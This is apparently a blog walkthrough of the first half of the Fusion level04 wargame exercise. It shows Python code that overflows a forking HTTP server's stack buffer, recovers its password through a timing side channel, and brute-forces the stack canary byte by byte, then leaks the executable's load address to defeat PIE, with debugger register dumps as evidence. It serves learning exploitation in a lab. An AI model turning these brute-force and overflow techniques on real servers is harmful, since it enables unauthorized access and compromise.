Fusion 4

Today we will try to solve Fusion 4. This level is a lot more complicated than the previous ones, so I might split it into 2 articles.

What we will do:

  1. Read and understand the program well.
  2. Find the stack overflow.
  3. Write a simple client.
  4. Verify our stack overflow.
  5. Find the location of the main binary
  6. Find libc.
  7. Find a known buffer.
  8. exploit.

Understanding the program:

The program is an http server that works as a fork-and-exec server. Seems like there is some kind of password that we will have to brute-force or something. To our “luck” the password is generated before the fork, so it will be the same as long as we don’t restart the father process. The server only implements http-get method which should return a file saved on the server. My guess is that we will find the vulnerability in parsing of the request or path to file.

We will also have to deal with Address Space Layout Randomization (ASLR), Position Independent Executable (PIE) which is ASLR for the main binary and Source Fortification whatever that means… seems like a fun program 🙂

Annnnddd, I found the buffer overflow. It is in the function validate_credentials we try to base64_decode “char * line” into “unsigned char details[2048]”, line is sent from  the function webserver and is part of “char line[10000]”. Seems like it would be easy to overflow.

Now let’s write the simple client. Ok after some playing and tweaking with my code the client works. And it can also overflow the stack buffer. But, The function send_error calls exit after sending its error. Which means we must have the right password when we overflow the buffer..

 
#! /usr/bin/env python 
import socket 
import string 
import time 
 
PORT = 20004 
HOST = "VM" 

def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  return s 
 
def send_request(method, path, protocol, auth, s = None): 
  if s == None: 
    s = create_a_session() 
 
  request = "{} {} {}\n".format(method, path, protocol) 
  s.send(request) 
  auth = "".join(auth.encode("base64").splitlines()) 
  request = "Authorization: Basic " + auth + "\n" 
  s.send(request) 
  s.shutdown(socket.SHUT_WR) 
 
  return s.recv(1000) 
def main(): 
  print send_request("GET", "/etc/hosts", "HTTP/1.0", "a" * 3000) 
 
if __name__ == "__main__": 
  main()

So this is our next task.

Cracking the password

If you read validate_credentials carefully, you will see that the delay after wrong password is affected by the number of wrong chars in the password. We will use it to brute force the password one char at a time. Consider this algorithm:

  1. Try all of the password in length 1
  2. Time every attempt.
  3. Choose the letter that had the fastest error returned for it

This way we can guess the entire password in O(n * m) instead of O(n^m)- where n is the length of the password and m is the size of the alphabet of the password.

 
def try_password(password): 
  s = create_a_session() 
  s.settimeout(4) 
  start_time = time.time() 
  send_request("GET", "/etc/hosts", "HTTP/1.0", password, s) 
  try: 
    s.recv(50) 
    end_time = time.time() 
  except socket.timeout, e: 
    print "Time out", 
    return False 
  total_time = end_time - start_time 
  return total_time 

POSSIBLE_PASSWORD_CHARS = string.ascii_letters + "".join([str(i) for i in range(0,10)])
PASSWORD_LENGTH = 16 
PASSWORD_CACHE = ":Ylp5kLoBgVSy7yCb" 
TIME_EPSILON = 0.0015 
def brute_force_password(): 
  all_password = ":" 
  roundtime_trip_time = 0 
 
  for i in range(10): 
    roundtime_trip_time += try_password("") 
    roundtime_trip_time = roundtime_trip_time / 10 
    time_treashold = roundtime_trip_time + TIME_EPSILON 
    print time_treashold 
    if (time_treashold > try_password(PASSWORD_CACHE)): 
      return PASSWORD_CACHE 
 
  for _ in range(PASSWORD_LENGTH): 
    for c in POSSIBLE_PASSWORD_CHARS: 
      temp_password = all_password + c 
      # try the password twice to make sure the timeout is not by accident 
      if (time_treashold > try_password(temp_password)) and (time_treashold > try_password(temp_password)):
        all_password = temp_password 
        break 
  if len(all_password) < PASSWORD_LENGTH: 
    print all_password 
    raise "WTF, can't brute force password" 
  return all_password 

We try to overflow the stack and this time we get this message:

*** stack smashing detected ***: /opt/fusion/bin/level04 terminated

After some investigation, I figure out that the Source Fortification contains a canary, and that our stack overflow, overflowed it. Seems because the canary is set when the process is created and is not changed for each forked child, we can bruteforce the canary as well.

gs:0x14 points to a value that is randomized once when the process starts. it is saved into a stack register at the last 2 op-codes of this block
gs:0x14 is compared to the value that we saved on the stack. And if it was overflowed by a different value the program will crash.

 

Brute forcing the whole canary is hard and would take us 2^32 attempts which is a lot. So, we are lucky enough that we can try to brute force one char (8 bits) at a time. This way we only need 2^8 * 4 attempts which is 1024 and a LOT less than 2**32.

It is super important to understand here that the reason we are allowed to brute force and we don’t care to crash the program is that the server is a father process that forks a different child process for each connection. all of the children have the same address space (and canary) and nothing bad happens if a child  process dies.

 
CACHED_CANARY = address_to_buffer(0xd6d1200) 
def brute_force_canary(password): 
  good_response = guess_canary(password, "") 
  cached_response = guess_canary(password, CACHED_CANARY) 
  if good_response == cached_response: 
    return CACHED_CANARY 
 
  canary = "" 
  for j in range(4): 
    for i in range(0x100): 
      response = guess_canary(password, canary + chr(i)) 
      if good_response == response: 
        canary += chr(i) 
        break 
  return canary 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 

I coded this brute force and of the stack canary and it works. I confirmed it by letting the debugger crash and printing the registers we control:

eax            0x1      1
ecx            0x0      0
edx            0x0      0
ebx            0x62626262       1650614882
esp            0xbfce2ce0       0xbfce2ce0
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x63636363       0x63636363
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Yay for us!

Well, next thing we need to do is to find the main binary,

I run my client without overflowing $eip and the server crashes. It crashes here:

It crashes because of the value of esi is not correct. I compare it to the source code and it seems like this line it is this line:

Again we can brute force esi byte by byte, and we can probably find a stack buffer we control in a place relative to esi. If we guess esi correctly, we will get a certain response and if we will guess incorrectly, we will get a different response (probably a crash of the server and no response at all.)

I coded it but it didn’t work. After looking at the function “webserver” in ida, i understood that we overflow ebx and it is also an address of a stack buffer. And the program crashes before it returns any useful output with corrupted ebx. So let’s do what we said about esi but with ebx

In my case ebx was 0xb7804118. I compared it to the list of loaded image and found out it’s exactly 0x4118 bytes away from the main binary.

So we can say we found the load address of the main executable and that we have beaten PIE (Position Independent Executable). In this example. (a forking server we can crash infinite number of times while the address space won’t change)

Soooo, I coded a brute force for esi, but I get the first 2 bytes to be 0x01 and only then I get the right bytes of the address. I learn from it that we don’t need the right value of esi in order for the program to work as expected, only a value of an address which is mapped. I guess I would have to find another way to find esi (or the address of a stack variable).

So In this article we managed to:

  1. Understand the code.
  2. Find a buffer overflow.
  3. Find a password using Timing side channel attack.
  4. Brute force a canary.
  5. Find the load address of the executable (beating PIE )

We will continue with finding libc, a buffer and roping into system in the next article 🙂

Leave a Reply